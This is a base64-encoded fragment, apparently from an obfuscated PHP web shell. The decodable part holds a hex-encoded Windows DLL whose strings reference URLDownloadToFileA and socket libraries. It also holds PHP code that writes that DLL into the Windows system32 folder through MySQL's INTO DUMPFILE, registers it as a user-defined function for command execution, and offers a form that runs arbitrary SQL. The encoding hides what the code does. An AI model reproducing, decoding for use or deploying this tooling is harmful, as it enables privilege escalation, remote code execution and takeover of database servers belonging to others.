1NTgwQjAzMThBQzA1MjI0RUVCRkI1NUQwQzIwNTIyNDEyODBFQUJFMDk3Q0YwQjZDMTEyODM2RDFFOTcwREEwQzFCMUZGRjgwNEVCNzQxQjM1QUI2MjAxNzI2ODI4QURERkZEQkVFMDc3NDIxN0YxRDQ2N0JGQzcyMDYzOERDNzcwMjAyRTYzOEY4MDlEOEI1MTdCQTM1QzZGNzc1MERFQkQ3MzNDOTA4MDIzNjU3QjM0RDlCQjlBRkU1ODI4MDZENkFFNEJGMEZGMzVGQTZFRDg1QjUwQTMyMTkyNkVGMkJCNDQ2QUIyRjk5RUU1N0VCQjY4RERFNUFDM0VDNzQyMzBCQUIxRjc3NTE2NUVCM0FDMEYwNTk2QjA5NzlENTg0QjU2MzREQ0EwOTc1NzIwMjcxRkMwOEE1QzlERTBFNUZGRUNCMDMwMDUxMjgzMDc0NTEyQkJDMjMxMUVDMUEyRDc1NzcwQzkyMEYxREEyQzY4NUI3QTZFQjUyREYyRjdEOEI1QkIxMEVDMTFBQjZEMTBBNTYwMTgwNUU2RUJERjU0QjMxODA2NUZFMDA4ODUwODg0NUZERjNFQjA5QkFBQjQxRDkwREZEMEY2QzhENEQwQUQ1OEIxODAzMTY1MTc5QUQ3REQxODJDMTZFNEYwMjZCNTNCMzgwNTlFMzQ1MEEyM0IwNzQ2NUJCNzIyNTFDQUU1QTgwNDUwRjhDRDU4MTVEQjlBQUY1NDkwRjhGQTE4QTQ2RDUyRDFGRTlERUU4M0MwNTdDODM3NjBBNEQ0MDVFN0QyNTM5REJEMTg3Rjg3ODdFMEJEOTVGQUQ2QTBBQTFBMUY0REVFMEZFOEEwNDU4MjNDNjY3RDlFQjY1OEIxNTEyREE2NUU5NENCNEI2Qzg0QTc0MEZBN0RGNUJENEQ2MzBBRjg4MDY1RDA5NThCNjA5MTdDNTUyMkI1QjEzNTY2QjAzMkNGMDM2QkUwM0I0OUY1NzJGMUE2QUUwNjQ4RkNDMjBGNkFFREEwNkFENzVBNUQ2NDZEMEJFMDVGRDAzMkMzNzEyNjI1M0NCMEJDMThDMDA4ODVEQzAyOUMyNUEwQkM4MzlGQUFCNjAyODdDMjVGN0UxQzI5REVCMDI1RUExMDVCMTFENDIwMzA5ODUwNTZDMzUxRkQzMUVBQUNBM0VDMUNDMDM1ODAwMDBEMzc0NjZBQUZGMEY0RDUzRUU2NUREOTMwNERGMDNFNTBGMDhFQzAzQkRFNEYyQjJGMjBGMEFGRjBCMDUwQ0NGMEFCNjU2RDAwM0Q1MDMwMjAxN0ZCNkRGM0ExOTAzMDcwNjAyMTAwNDQ1MDAwNTM1MzAwMDUwQjVFRUZGN0YyQzIwMjgzODUwNTgwNzA4MDAzNzMwMzA1NzUwMDcwRjIwMEJENzE0NjFERTAwMDg2MDY4NjAwOTc4MDA3M0FFOTU2RTA4MDcxNTA3MDAxQTAxMEU3RDdCRERGRjAwMjgwMDZFMDA3NTAwNkMwMTI5MzIwRjZFNzU2QzZDNkZCN0ZGREYwQTcyNzU2RTc0Njk2RDY1MjA2NTcyNzI2RjcyMjAwRjBEMEEwMzU0NEM0RjA3RTRCRkQ5NTM1MzExMEUwMDUzNDk0RTQ3MDA0NEJCRkQ2NUVENEY0RDQxMTIxMTUyMzYzMDMyMzgwODJEMjA0QkI3NkY3Rjc5NjE2MjZDNzQ2RjIwNjk2RTY5NTY2MTZDNjk3QTBENjg2NUQ2N0VCRUQ5NjE3MDM3MjczNzZFNkY3NDNEMDQ2MEVGQjZGRjc1Njc2ODIwNzM3MDYxNjMyMzY2N0I2QzZGNzc2OTM4MEFCOUVDMzY2MTA2NkY2RTM3MzZFRDY3MjA3OTczNzQ2NDM1NzA3NTcyMkJGNkRCNUFGQjc2Njk3Mjc0NzUyMTMzQTU2MzIzMjA2MzBDOUI0MkJFRDg2QzI4NUYzNDVGMkFCREY2REE3NjY1Nzg1QzJGNTgwNkRDRTJFNkJFQjA5MzVGMzEzOUY3NkY3MDY1NTgzMTMyNjBEQkVFNzM2RjBGNjQ2NTczNjMyQjM4ODg3MDZCNkQ0NjI0ODE2NTY0MTkzMDI0REY0MDU3MjMzNzZEOTI2RkRCQURBNkFDNzQ2OEJGNjEyRjZDNkY2MzZCMUI2Qzg1MzAxNzM0NjRCNzg2NUI2QjZFNjEyRTAyQTIyMTcyNkQwMDUwRDhEQUI3NzA0MDY3NzI2MTZEMjA0QTZEMzY2ODI5RUM4NTJGMzAzOTRGMTBFNzFBOEQ2NjQxMkEyQjMwMkUyQjg0RUY1M0M4Mzg2MTcyNjc3NTI4NzM1RjZEQkJGNjNDMzAzMjY2QzE2RTZFNjc4MjZGOUNCNTJFQjYwNTc0M0ExMTY0RTY3RjREQzNEQjQyMkIyRDYwMzk2NjE1NTY2OTczQUFFRkY2NjBGQzQzMkIyQjIwNTJBMDRDNjk2MkI0NzI3OTI3NkQwRjg3QjkwQTJEMTY0NTBFMjExMTUwRDg2NTZCOUNENDNBQzIwMDJFMDAzQ0U1RUQ2RDczNkRFMDI1MkM2QjZDNzc2RTNFMUIxN0VFRDhGODQ3NjU3NDRDNjEzMjQxMDI3NjY1NTBBRTc1NzA1QkRCQ0U2MjEzMEY1Nzk1NjQyNjg3NjUzNEJFRjBGRjczNzM2MTY3NjU0MjZGNzg0MTAwNzU3MzI1MzMzMjJFNjQyQUREOTMxMjUyRUFCNzU5NTYwMzVBNzdDRjc2NjcwQjVBOTU1QTBFMEI1QjhFMDM5MjQ4M0FBRkI5QkJCNTZEOTA0QTAwNjQwMDJDMjA0RDIwMDg2REM5QkRCOTc5MDA2MzJGNjQyRjA2RDc0RDAzRkRCNTE3OUE0MTQ0RUU2NTZENjI2QjVCNEU2Rjc2QzNGRTZEOTMwQjRGOTg2RjBBNTM2NTcwNzQxNDg2QTk2ODg1NDE2Qzk2NzExQkJFRURGOUI5NDEwNzZFNjU0MUYzNjlBNjREMTAxNjM2MTcyNzYzNjg0NjY1MzI3NTMzQkRGN0RFN0I0QTYxNkUwQTY3NUY1NzUzN0JBRjdCRUY0QjQ3NDMzNzc5NDMzRjNCNkVBOUQwREUzMzIzQjAzQzY0MThCMEVENTg3QjRGNUUwOTU0NjgxMjczMTNEOUMxNUE2MTU3QkM3QzBDNTQ3NTA5QjlEOUIxQzY0RDI1MTA1Mzc1MDc0M0Y3REU3QkVGM0IzNzJGMjcyMzFGMDM5RTczQ0VCOTBBMTExODFGMjYyRDlDNzNDRUM1QUY4Mjg5OTA5NzlFNzJDRTM5RTdBNUFDQjNCQUMxQzhBNzgwMDgwNDdDMjhCQjkyOTc1MDQzQkQzODRGMjk2MzYwQTk1MjNGNEQ3OTczNzE5MDk2MjBBOTUzQTYzNjMwNkVDMjYzQjUwQjM1NUE2QTA5QTY2M0I3QjkyMUU3NkEzNzUyQzA3NzAzNUMzMjE3MDNBQkNGOTFGQjJFNzQ2RDcwMEZCNDA2MDBCNjQ3MkE0ODFEM0EyQzdFQjUzRDI1RTRFNkZGREI3MzBBMkY2MzZENjQyRTY1Nzg2NTIwMkY2MzIwMDA2ODY1NkM1NTE5MkI3NTMxMzc3NDA3Mzk2N0ZGNzZCNkU0MzgwQjMwMDY2ODc0NzQ3MDNBMkYyRjhGMkRGNUZGMkVEOTYzMkQ5QjA5Q0FFNEM4RUJCOEYxQ0FCREI0RURDRUYzRkZDM0ZFNkYxMjBEMDBDRkMyRDREOENBQTdCMERDMEJDRUM0QkNGRUIzQzlCOUE2RjZEQ0U2RkUyMUMyQjdCRUI2QTNCQTdFMTc1QzNGNDQ4NjdCODFEMTBGMDAyMDA1OTMxOTU3MzFEOTEzMTk5REU0NjY3MjcxRjAxMDhERTg4MzIxMTlCMjE3OEUxODBGMzA0MzRFNTE0NkMyRjgwMzkyMDE3QkQ4OTRBMDA3MDEwMTUzMTA3QzgxQTRCOTAyMDExRjAyNjQ0MTAxNTI0NzYzNTdEOUQ5MDcwQTJGMDIwNzc0M0NGMkU0Qzk2QzA4NDAwOTE0MEE3M0YwMTA5MzI3NEY5RUM0MTE5NDEyNzAxMzNDNzlFNEM5NDQxODBDMTk3MkU0MUFBQzFCOTMyNzRGOUU3NDFDNEM3ODNDNzk2RUYyRTRDOTJDN0ExQ0ZDMThGRjg2QjI5MzE3RDg1NEREMDM4NTcyMjAwMTA3NDAyNjk5MjgyMDQ4MDAxOTQwMjY5MjEwODQxMDAyMTk5MDA5ODEwMTE5OTAwMTE5MTA4MjAyNjAxQzE2MDIzQjIwRUYyMDBEMEMwNTAxMzMxNjRERDMwQzM2MDMwNzA0MTgwNTBEMzQ0REQzMzQwNjA5MDcwQzA4MzJEODIwODMwOTBBMUIwQkMxQkVGNzAyNTczQjA3MEY1NzVGOTA2RUIwMTAxMzExMDMxMjE3MjEwQzMyRDgyMDM1MEY0MTQzMzZEODYwODM1MDMzNTIxNzUzMDdEODYwODMwRDU3NUY1OTdCNkMxN0QyMzQ0RDM3NkRBQjIwNzAxQzcyRDg2MERGMEJDNzJGODBCMzgxMDc2MDgzMEMzNjgyMUY4Mzg0OEYyMDgzMzRDRDkxMjk5RUExODMwRDMyRDhBNDZGQTdCNzlGQ0U3NjBFQzI2MDFGRDcwQjE4MDcwMDY5QkVCMzVEMDUxN0MwMEIxRDA0OTA2NjQwMDY5NjhEMDg2NDQwMDY2NDhFOEY5MDA2NjQ0MDA2OTE5MjkzQ0MwNjYxNDAwMzlGNzhFRjRENTRFQzI1RkYwMjA0MjIyQjYwMjdDRjBFRjY4Mjc5ODIyMTE3QTZERjA3QTFBNTgxRTlDREYzRUY5RkUwRkMyRjQwN0U4MEZDQThDMUEzREFBMzRGMEQ3MkY2MDg4MUZFMDc0MEI1Nzc4MzBDODEyRjQxQjY1RkNGQTJFNDNFNUYyMUZGQTIxQTAwRTVBMkU4QTI1QjdFQTFGRTUxMDVCRjkyREZFRTAzREE1RURBNUY1RkRBNkFEQTMyRDNEOERFRTBCMjY2MjdCN0Y5MzkzMTdFNDMwMzAzODYwMDY0QUE0MzJFRTk5RTlDODQ1MzhCOTg3Njg0MDM4MEE2Njk5QUE2N0M3ODc0NzA2QzlBQTY2OTlBNjQ1QzU0NDgzQzM0Njk5QUE2NjkyODI0MjAxQzE4QTY2OTlBQTYxNDEwMEMwODA0NEREMzM0OTcwMDc1RkNGOEYwRTREQ0E2RTk5RTM1RDQyRjc1Q0MwM0M0QkM5QUE2Njk5QUIwQTg5QzkwOEM4ODQ5QkVBNjY5ODA2QzY0Q0QyRTgyMUQ2NUJCOEM4RjkwNUMwMzdGMDA5RUYwNDBFODJGNTAwQjgwNzAwN0YwRjExMzI1RENBMEQxNTM1NDk5NTA4QkRENTBDOTQ0NTQ4Q0YzOENEQzk3QjA1ODU5MkNBN0JGMDY2OTlBMEUxRUVGM0I1QTk3NzVBNzY5QkFBN0I1RDRGM0UwMzAxQUI4NkNEMzAzNEU2RDAxMzMzQUI3NTk2OTlBQTY2OTc3OTZCNEQzRjIwQ0RBNzRERDI3MkYwMzRENkMwMUYxMDhBNDgwMDgzNjgwMjQ0NDQxNDQyMTA5ODBEMTA5NjAwMDY0QzE1QjA1NEQ3MzQzMjU3NDY1NTRCNkNCQjc1NzJDMEQ0NDY1NkM2NTQ2NjkwNTQxMEExMDVGREIwQzQ3MEEwOTUzQzVEODczOTNDRDI3MTk1MjJDMEEyM0VDNEY1NkMxNDUxODU2NjE3MjY5NjE2MjIyMTJDMEVDN0Y0MzZDNkY3MzY1NDg2MTZFNjQyNUY2MkFEODBFNEI0QTUwMEI2MzQxN0I3QjU2Njg2NzUzNzkxRDY1NkQ0NDQ3QjdDMUI2NTZGNTIyNzkxNDc0NEU3NDc1MTVCODkzRkQ3MDQ5NkU2NjZGNDEzNTY5NzA0RkIxREJENjJFQTg0NTc4MkEwODUzNUQ2NTcwMkNGQjM2Q0NGRDU2NjU3MjczNjk2RjE2M0I4OTZFNjc1NDc5MkQ2N0RGODU2QzU3MEYxRjRDNDM0RDYxNzAxMTU3MDY4ODJFNjEwRDFCNEQ3MDczRUQ1QkMzNDI3OTEyNkY2NTY0NjU0MzY4ODM2NkU1QUJBMDNERkI2NDRGNjZGMzRDNkZGRDhFNkI2OEZGMzAwQjc0NkM1NTZFNzczQzNENDhENzY3RURBQzdDNzA0MTZDNkMwQTQ2QjFGQjQzMkQ3QjlCRTE2RjZENkQwOTMzNkU3REFDQjM4NTU2OTgyNjczRkIwQjc5MENDNTgwRDg2NkU1MEI1NkFEQjUyMTQxOUM0MjQ5NEQxRTI2M0NDM0Q2MDk2MzBBNTMyNzQwQjAyOURCREFDQTE2QUQxNDcyMTU0MjFCQzBCNjRDNUI3NjJCNzgxMDhDODU4MDI1MEI3N0M1RUI4NDA3QzQ2MDBDNTQyRkI5OThBMTcwQjZEQTc1RDNGODEyRENERDMzMDI1MjQ5NjQzODZDNzM1M0YzQjMzNzhCREQ1NTc1NjUwQzRGMDlERTRCRDIyNThDNTMxRDJENDcxQTA4NkQ2MTg2NDM0Mjc1NTJDOTNCMjQ2MzM2NjQxMkEwRDUwQ0MzNjMxNDFFNEQ2RjY0QkRBMzRFNjE2RDZBM0IyMTYwQkM1RjlFRTQ3MzE4MzAwNDQ3MEEwQ0YzQ0E2NjI0QTNGRDA4RTQyQ0NGRjA0MjU4MTY0MzYxODUzQjFDRkU2NkJGMDg1MDZGNjk5MEM5MDZDMjVFRjk5REZENkI2NTY0NDQ2NTYzMzgxNUMyODQ0RDcyNDk2RTUzRUI0NjBGM0FDMUYxRUY3MzY4NEI0Mjc1NjY2NjNFNkE1MEVDQjEzNjc2MUMwQTQxMEIwNzRGNDU0RDA5MkMxOUZFMTA5MzQxNjQ2NDcyOTdFRjdEMjg0MUJDRDkzQzcxNTU1MjRDNDQwQTVCQTQ2NjgyNzdFM0NFMUM4OEY2RjZGRTM0MDQ1NzUzNDE1Mzg2NEQwMEZGMDQwMkNCQjIyQ0NCMTczOTAzMzQwOTBDOEQzMkI2MkMwQjAyMjY0OUY3RkY3RkFFNkQwQzEwMDI1QzAwMEEwNTJGMEE1MjA1NTQ2NDE3MzUwQkRGRkVGRkZGODExOTEyMTkyQTA2MEIyQTM4NTMxOTMxMEIzMjBEMUI4MDY1MTJFRDI0MDU2NzBCMzAxMDBGMUNGRkZGRkZGRjFCMUI5NjEzMEI1MzBCMUM0NTU0MDU0MDA2NDUxNzExMDYxODBBMTE4MTQ1MTEwQjRDMzEwNTI2NTMwRjdEMUNGQkE1RkZGRjA3OEIxMjE0MDUwQjEyMUIyNzFBMTI0MTY5MUEwOUYwNEJGODNBMDZGMDUyMDEwM0JGRkRGRjdGMDgwMjA3MEYwODBCMDYwNjBBMTgwNTBBMUEwRTA4MDY0MzEyNUMxQjRGNTkwODVBMERBMzdERjY2RkZGMEYxNkYwMzAwMUJBRjAwQUY2MjExNzc1RjBDODAyMDQwMENFMkQwN0U2RURFREJGNUYxMDA3MDcwODI3MEMwQTA4MzAwQTA2MDgwNTBDMDUwQ0JGQjVGRkJCMTYwMzA4MTMwODJEMUIxMDA2MEYwNjA3MDkyMUFFMDhGMDRGMDIwRTZCQkZCNUVEMDYxQTA1MEYxMDdFQTIwNjA1MDYwRDFEMTUzNDlCRkJGNjlCMjI0NEE2RjBFRDAxMjAxMzA2MTYwNzBGMTgxMEZCRkZEQkRCMDkxQTU3MTM2MkE5ODUwRTBCMTQwNjBFMDkxMTFDMEYxMjA5MUMyMzBBMDNGRkZGRkZCRjBDMTM3RjBBMUNGMEYyMDAwNzE5NDIxMjMxMEMwQjBGMEFGMDAzMDJGMDREMDEyQzBDMUMxOTFBMDgxMUY2RUQ1QkZCMDUwRDA1RjAwNTQ5QkYwNTM4MEMwNzU3MDcwQTE5MDg4RURCQURGRERCMDU2NjNBMDgxQTA2MTExOTBDNzExMzA4MUUwOTE3RjZGRjBCNkYxNzYyMTgwNjQyMjIxNDMyMDcxNTMyMEEyMTE1MjQyQTBFMzExQ0Y2REY2RUZGMjEyNTBGMEYzMjEwNDNDQjE0MEU0NzA2NUIwNzQ4NDVFMzE5MzUzOURCREY2RUZGMEMxMDNGNTAxMzNFMTI4MjI2MEQ4RTEzMjcwRjQyMTQxRTZEMTU3Q0ZCRkY2RkFBMEUxMzc3MEQyNTFDMTM3NEEwNEQxODE1NEE0ODE3MTJFMzA4NEIyNTEyODQyRjZDMkY0NzU1MDExOEVGMDUxRDI5MjYxQTA3Mjg0MkVFREUxRDRBMDYwNDY2MEIxQjA3MTYxRDJBMzJGRkI3Qjc3RjcyMjgwNjBDM0IwODI5NzEwRDBDMjM0RjYwMzkxNTBEM0QyMjA4NEMwRjE5NjE1QkZCRkYyNjJFMEYyMDIyMkQxNDNBMDcyNjE4MUEwQjgzQTY3QzU2REJGRkZGMTM4QUYwRkIwMDc5MEMxNTBCMkVGMEQ5MDExQzBEMEQxMzA5MEMzMkMyMjFCNzY2NzhFMTA2MjEwQTFEMDgxNzE1QTkxOUU4MEIwQUZCREYwQTBCNkU0MzJDMDAxOTA2NkYwNjFFMTExMzE1MUVGOTUwNjg4NTdGMTAyMTBDMTIwRTBGMTE3NTk2NDdCRkYwMEJDREI4NUM3RUYwNTYwMTFFNTUwRjBBQzYwQTg5MDUwQkZGQkZCNTFGNEMzNTA4MEUxRTFEMTgyMDU4MTYzMzY4MjU0NjA1MDMwNzE3RkVBRDZERkMxMDNEMTA1NjEyRjAzRTAxRUM0OEIyNEYzMEJENzFFMUI3NUIwNDVFMkYwRjU4MzhFQTNDN0QzODEwMDQwQ0ZCNzZGMzgzMDFGMEI0MDMwNDA4RjBBQzBBMERGMDE0MDEwNDE3Qzg5MTVEN0UyMDEwMTA4NDA4MDIwODAwMDQ2NDUzMjAzRkYwMjQwNjA4MDQxMDA5RjkyRjcxRTkwQzlDNjQ1MDQ1QTU0QzAxMDQwMEIyOTc2QTQ2QUE0RUY5MEZFMDAwMEUyMTBCMDEwNjI2NEIwMDRGMjZBOTI0NDExMEJERUMzQ0ZCMDkxMDBGMDQwMDA3MDBEMEIyMzdFOTgyMjcyQTAyMDIwNzlCNkQ3RUQ4MUU4RDAwMDA3MUM4ODY2MjAyODVCOTY1MEFDMDY0OEEwMDJCOENBQTRCQTc0NEIwMTAwQzc2RjkyRTc0NjU3ODc0NDY2MTkwNzBFMkFEMkE2NTc0Q0Q2MDJFNzIxMjY2OUQyQkMxQUIwRDUzMDNGQjVFNzNEOTAyNDAyRTI2Q0YyNDI3QjYyOTE5QTQ5MDkwQzA0RjY1MTlFQzZCMEY3RDU4NEZDMDI3QTA2RjZFQkYyOTQyMUI1Qzg4MTA1MUM0ODlDNzAwMDAwMDAwMDAwMDAwODAwNDAwRkYwMDgwN0MyNDA4MDEwRjg1QzIwMTAwMDA2MEJFMDBBMDAwMTA4REJFMDA3MEZGRkY1NzgzQ0RGRkVCMEQ5MDkwOTA4QTA2NDY4ODA3NDcwMURCNzUwNzhCMUU4M0VFRkMxMURCNzJFREI4MDEwMDAwMDAwMURCNzUwNzhCMUU4M0VFRkMxMURCMTFDMDAxREI3M0VGNzUwOThCMUU4M0VFRkMxMURCNzNFNDMxQzk4M0U4MDM3MjBEQzFFMDA4OEEwNjQ2ODNGMEZGNzQ3NDg5QzUwMURCNzUwNzhCMUU4M0VFRkMxMURCMTFDOTAxREI3NTA3OEIxRTgzRUVGQzExREIxMUM5NzUyMDQxMDFEQjc1MDc4QjFFODNFRUZDMTFEQjExQzkwMURCNzNFRjc1MDk4QjFFODNFRUZDMTFEQjczRTQ4M0MxMDI4MUZEMDBGM0ZGRkY4M0QxMDE4RDE0MkY4M0ZERkM3NjBGOEEwMjQyODgwNzQ3NDk3NUY3RTk2M0ZGRkZGRjkwOEIwMjgzQzIwNDg5MDc4M0M3MDQ4M0U5MDQ3N0YxMDFDRkU5NENGRkZGRkY1RTg5RjdCOTk2MDEwMDAwOEEwNzQ3MkNFODNDMDE3N0Y3ODAzRjBBNzVGMjhCMDc4QTVGMDQ2NkMxRTgwOEMxQzAxMDg2QzQyOUY4ODBFQkU4MDFGMDg5MDc4M0M3MDU4OEQ4RTJEOThEQkUwMEMwMDAwMDhCMDcwOUMwNzQ0NThCNUYwNDhEODQzMDAwRTAwMDAwMDFGMzUwODNDNzA4RkY5NjUwRTAwMDAwOTU4QTA3NDcwOEMwNzREQzg5Rjk3OTA3MEZCNzA3NDc1MDQ3Qjk1NzQ4RjJBRTU1RkY5NjU0RTAwMDAwMDlDMDc0MDc4OTAzODNDMzA0RUJEODYxMzFDMEMyMEMwMDgzQzcwNDhENUVGQzMxQzA4QTA3NDcwOUMwNzQyMjNDRUY3NzExMDFDMzhCMDM4NkM0QzFDMDEwODZDNDAxRjA4OTAzRUJFMjI0MEZDMUUwMTA2NjhCMDc4M0M3MDJFQkUyOEJBRTU4RTAwMDAwOERCRTAwRjBGRkZGQkIwMDEwMDAwMDUwNTQ2QTA0NTM1N0ZGRDU4RDg3RkYwMTAwMDA4MDIwN0Y4MDYwMjg3RjU4NTA1NDUwNTM1N0ZGRDU1ODYxOEQ0NDI0ODA2QTAwMzlDNDc1RkE4M0VDODBFOUM3M0NGRkZGMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwNzBGMDAwMDA1MEYwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDdERjAwMDAwNjBGMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA4OEYwMDAwMDY4RjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDkyRjAwMDAwQTBGMDAwMDBCMEYwMDAwMDAwMDAwMDAwQzBGMDAwMDAwMDAwMDAwMDczMDAwMDgwMDAwMDAwMDA0QjQ1NTI0RTQ1NEMzMzMyMkU0NDRDNEMwMDc1NzI2QzZENkY2RTJFNjQ2QzZDMDA1NzUzMzI1RjMzMzIyRTY0NkM2QzAwMDA0QzZGNjE2NDRDNjk2MjcyNjE3Mjc5NDEwMDAwNDc2NTc0NTA3MjZGNjM0MTY0NjQ3MjY1NzM3MzAwMDA1NjY5NzI3NDc1NjE2QzUwNzI2Rjc0NjU2Mzc0MDAwMDU1NTI0QzQ0NkY3NzZFNkM2RjYxNjQ1NDZGNDY2OTZDNjU0MTAwMDAwMDAwMDAwMDAwMDBCMTk3NkE0NjAwMDAwMDAwMUVGMTAwMDAwMTAwMDAwMDAzMDAwMDAwMDMwMDAwMDAwMEYxMDAwMDBDRjEwMDAwMThGMTAwMDA5MDEwMDAwMDkwMTUwMDAwODAxMDAwMDAyQkYxMDAwMDMxRjEwMDAwM0VGMTAwMDAwMDAwMDEwMDAyMDA2RDc5NzM3MTZDNDQ2QzZDMkU2NDZDNkMwMDczNzQ2MTc0NjUwMDczNzQ2MTc0NjU1RjY0NjU2OTZFNjk3NDAwNzM3NDYxNzQ2NTVGNjk2RTY5NzQwMDAwMDAwMDAwRTAwMDAwMEMwMDAwMDAxRDM2MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMCI7DQoJCQkJCQkJCSRxdWVyeT0iSU5TRVJUIGludG8gdWRmX3RlbXAgdmFsdWVzIChDT05WRVJUKCRjb2RlLENIQVIpKTsiOw0KCQkJCQkJCQlpZighbXlzcWxfcXVlcnkoJHF1ZXJ5LCAkbGluaykpDQoJCQkJCQkJCXsNCgkJCQkJCQkJCW15c3FsX3F1ZXJ5KCdEUk9QIFRBQkxFIHVkZl90ZW1wJywgJGxpbmspIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCgkJCQkJCQkJCWRpZSgnsLLXsGRsbMqnsNwnLm15c3FsX2Vycm9yKCkpOw0KCQkJCQkJCQl9DQoJCQkJCQkJCWVsc2UNCgkJCQkJCQkJew0KCQkJCQkJCQkJJGRsbG5hbWUgPSAibXlzcWxEbGwuZGxsIjsNCgkJCQkJCQkJCWlmKGZpbGVfZXhpc3RzKCJjOlxcd2luZG93c1xcc3lzdGVtMzJcXCIpKSAkZGlyPSJjOlxcXFx3aW5kb3dzXFxcXHN5c3RlbTMyXFxcXG15c3FsRGxsLmRsbCI7DQoJCQkJCQkJCQllbHNlaWYoZmlsZV9leGlzdHMoImM6XFx3aW5udFxcc3lzdGVtMzJcXCIpKSAkZGlyPSJjOlxcXFx3aW5udFxcXFxzeXN0ZW0zMlxcXFxteXNxbERsbC5kbGwiOw0KCQkJCQkJCQkJaWYoZmlsZV9leGlzdHMoJGRpcikpIHsNCgkJCQkJCQkJCQkkdGltZSA9IHRpbWUoKTsNCgkJCQkJCQkJCQkkZGlyID0gc3RyX3JlcGxhY2UoIm15c3FsRGxsIiwibXlzcWxEbGxfJHRpbWUiLCRkaXIpOw0KCQkJCQkJCQkJCSRkbGxuYW1lID0gc3RyX3JlcGxhY2UoIm15c3FsRGxsIiwibXlzcWxEbGxfJHRpbWUiLCRkbGxuYW1lKTsNCgkJCQkJCQkJCX0NCgkJCQkJCQkJCSRxdWVyeSA9ICJTRUxFQ1QgdWRmIEZST00gdWRmX3RlbXAgSU5UTyBEVU1QRklMRSAnIi4kZGlyLiInOyIgOw0KCQkJCQkJCQkJaWYoIW15c3FsX3F1ZXJ5KCRxdWVyeSwgJGxpbmspKQ0KCQkJCQkJCQkJew0KCQkJCQkJCQkJCWRpZSgisLLXsMqnsNw6JGRpcs7eyKgiLm15c3FsX2Vycm9yKCkpOw0KCQkJCQkJCQkJfQ0KCQkJCQkJCQkJZWxzZQ0KCQkJCQkJCQkJew0KCQkJCQkJCQkJCWVjaG8gJzxmb250IHN0eWxlPWZvbnQ6MTFwdCBjb2xvcj1mZjAwMDA+Jy4kZGlyLiewstews8m5pjwvZm9udD48YnI+JzsNCgkJCQkJCQkJCX0NCgkJCQkJCQkJfQ0KCQkJCQkJCQlteXNxbF9xdWVyeSgnRFJPUCBUQUJMRSB1ZGZfdGVtcCcsICRsaW5rKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQoJCQkJCQkJCSRyZXN1bHQgPSBteXNxbF9xdWVyeSgiQ3JlYXRlIEZ1bmN0aW9uIHN0YXRlIHJldHVybnMgc3RyaW5nIHNvbmFtZSAnJGRsbG5hbWUnIiwgJGxpbmspIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCgkJCQkJCQkJaWYoJHJlc3VsdCkgew0KCQkJCQkJCQkJZWNobyAis8m5pjxicj48YSBocmVmPSc/Jz63tbvYPC9hPiI7DQoJCQkJCQkJCQlleGl0KCk7DQoJCQkJCQkJCX0NCgkJCQkJCQl9DQoJCQkJCX0NCgkJCQkJJHNzPXN0cmlwc2xhc2hlcygkcG9zdF9zcWwpOw0KCQkJCQlwcmludDw8PEVORA0KPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Ij9zPW4mbz10cSI+DQo8dGV4dGFyZWEgbmFtZT0icG9zdF9zcWwiIHN0eWxlPSJ3aWR0aDo3MDBweDtoZWlnaHQ6MjAwcHg7Ij57JHNzfTwvdGV4dGFyZWE+PGJyPg0KPGlucHV0IG5hbWU9Imluc3RhbGwiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IrCy17BETEy688PFIj4gPGlucHV0IG5hbWU9IiIgdHlwZT0ic3VibWl0IiB2YWx1ZT0i1rTQ0ENNRNPvvuQiPjxicj48L2Zvcm0+DQpFTkQ7DQoJCQkJCWlmICgkX1BPU1RbcG9zdF9zcWxdKSB7DQoJCQkJCQkkbGluayA9IG15c3FsX2Nvbm5lY3QgKCRtaG9zdCwkbXVzZXIsJG1wYXNzKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQoJCQkJCQlpZigkbWRhdGEpIG15c3FsX3NlbGVjdF9kYigkbWRhdGEsJGxpbmspIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCgkJCQkJCSRxdWVyeSA9IHN0cmlwc2xhc2hlcygkcG9zdF9zcWwpOw0KCQkJCQkJJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSwgJGxpbmspICBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQoJCQkJCQllY2hvICI8YnI+PHRleHRhcmVhIG5hbWU9XCJwb3N0X3NxbFwiIHN0eWxlPVwid2lkdGg6NzAwcHg7aGVpZ2h0OjIwMHB4O1wiPiI7DQoJCQkJCQllY2hvICgkcmVzdWx0KSA/ICJEb25lOiRyZXN1bHRcblxuIiA6ICJlcnJvcjokcmVzdWx0XG5cbiAiLm15c3FsX2Vycm9yKCk7DQoJCQkJCQl3aGlsZSAoJHJvdyA9ICBAbXlzcWxfZmV0Y2hfYXJyYXkgKCRyZXN1bHQpKSB7DQoJCQkJCQkJcHJpbnRfciAoJHJvdyk7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQkJZWNobyAiPC90ZXh0YXJlYT4iOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0